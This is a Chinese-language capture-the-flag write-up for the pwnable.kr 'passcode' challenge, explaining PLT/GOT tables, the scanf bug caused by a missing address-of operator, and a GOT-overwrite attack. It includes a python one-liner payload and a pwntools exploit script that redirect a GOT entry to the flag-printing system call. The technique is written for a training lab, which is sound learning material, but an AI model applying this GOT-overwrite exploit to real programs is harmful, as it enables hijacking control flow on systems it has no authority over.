二进制学习系列-栈溢出之Passcode详解

Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2222 (pw:guest)

原理:简单的GOT溢出攻击,scanf没有加上'&'

知识点:PLT,GOT表的了解

GOT表:

概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld


PLT表:

过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目

main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.


GOT覆写技术:

原理:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。

上述来源于:http://jing0107.lofter.com/post/1cbc869f_8b3d8a5


简单来说,就是每个函数需要调用的时候先是从PLT表之中去寻找该函数入口地址的指针,调用一个函数,控制权将由PLT传递。然后从GOT表中去寻找该函数的地址,GOT表中有相应各个函数的地址,由于PLT表是只读的,但是GOT表是可读的

PLT —> 函数地址指针 ,GOT —> 函数地址。

题目源码:

#include <stdio.h>
#include <stdlib.h>
void login(){
    int passcode1;
    int passcode2;
    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);
    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);
    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");
    welcome();
    login();
    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;   
}

仔细查看之后发现main函数中没有什么可以利用的,关键点在于login()函数中的scanf中,没有加'&'取地址符号。

如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址。 在 passcode1 前没有加取地址符号 &,而由于 passcode 1没有初始化,导致这个输入操作会将数据写入 栈中 passcode1 未被初始化时存放的数据指向的地址。

所以我们可以利用这里来进行GOT表覆写攻击。

测试偏移量:

方法1: 查看name地址和passcode1地址,两地址相减(此题中welcome函数和login函数共用同一个ebp)

方法2:welcome函数调用时先输入100个'a',再查看执行到passcode1的scanf前中断查看栈中的情况,可以看出,welcome 函数中输入的最后 4 字节占据了此时局部变量 passcode1 在栈中的位置。所以在执行 scanf("%d", passcode1); 时会像这里指向的不存在的 0x61616161 处写内容,故而报错。

造成这个偏移量的原因有两点:

  • 在 welcome 函数返回后这里进行了堆栈平衡,然而没有清空栈中的内容,login 函数和 welcome 函数又相当于是共享了同一个栈区域;
  • passcode1 没有初始化,导致passcode1 在栈中单元里存放的仍是之前栈帧遗留下来的内容。

覆写GOT表:

这里可以选用scanf函数之后的各个函数来进行覆写,我们选用printf。

1.查找system指令的地址

passcode@ubuntu:~$ objdump -d passcode

可以看到system函数地址为0x080485ea。

2.查看printf在GOT表中的地址

  1. readelf -r target_elf
  2. objdump -R target_elf

得到printf 在 GOT 中地址为 0x0804a000。

构造PalyLoad:

因为scanf的时候这里用的是%d所以要把system的地址转换成十进制

所以:

payload = ‘a’*96 +‘\x00\xa0\x04\x08’+’\n’+’134514147\n’

1.直接Python运行(Python大法好)

python -c 'print "a"*96 + "\x00\xa0\x04\x08" + "134514147\n"' | ./passcode

2.编写exp

from pwn import *

target = process('/home/passcode/passcode')

fflush_got = 0x0804a004

system_addr = 0x80485e3

payload = "A" * 96 + p32(fflush_got) + str(system_addr)

target.send(payload)

target.interactive()

3.结果

4.原理流程

welcome 中 scanf 函数被调用 –> 输入构造好的字符串,其中最后 4 字节为要覆写的保存有目标函数指令地址的内存单元在 GOT 中的地址 –> login 中的 scanf函数被调用 –> 覆写该位置,即目标函数指令地址被改写,执行该函数时会去到改写后的位置执行。

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-09-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏猿人谷

用C来实现内存池

介绍:        设计内存池的目标是为了保证服务器长时间高效的运行,通过对申请空间小而申请频繁的对象进行有效管理,减少内存碎片的产生,合理分配管理用户内存,...

56070
来自专栏WindCoder

Java基础小结(三)

以上这些类是传统遗留的,在Java2中引入了一种新的框架-集合框架(Collection)

7110
来自专栏java一日一条

用Java实现一个通用并发对象池

这篇文章里我们主要讨论下如何在Java里实现一个对象池。最近几年,Java虚拟机的性能在各方面都得到了极大的提升,因此对大多数对象而言,已经没有必要通过对象池来...

11120
来自专栏Google Dart

Dart 服务端开发 shelf_bind 包

shelf_bind倾向于约定优于配置,因此您可以编写必要的最小代码,但仍然可以根据需要覆盖默认值。

10020
来自专栏与神兽党一起成长

使用commons-pool管理FTP连接

在封装一个FTP工具类文章,已经完成一版对FTP连接的管理,设计了模板方法,为工具类上传和下载文件方法的提供获取对象和释放对象支持。

14720
来自专栏养码场

再刷一波起来!Java后端开发面经大集锦2.0,刷完顺利拿下Offer!

昨天场主献上Java后端开发面经大集锦1.0,反响特别好!还有程序员“指控”场主:为啥不早点推送??并送上了一个意味深长的微笑

12720
来自专栏Java进阶之路

由浅入深谈 Java 的类加载机制

17400
来自专栏肖洒的博客

爬虫入门(四):urllib2

主要使用python自带的urllib2进行爬虫实验。 写在前面的蠢事: 本来新建了一个urllib2.py便于好认识这是urllib2的实验,结果始终编译不...

10130
来自专栏闻道于事

Java多线程详解

每个运行的程序就是一个进程,当一个程序运行时,内部可能包含了多个顺序执行流,每个顺序执行流就是一个进程。

14230
来自专栏封碎

Java多线程参考手册 博客分类: 经典文章转载

http://blog.csdn.net/ring0hx/article/details/6858582

7720

扫码关注云+社区

领取腾讯云代金券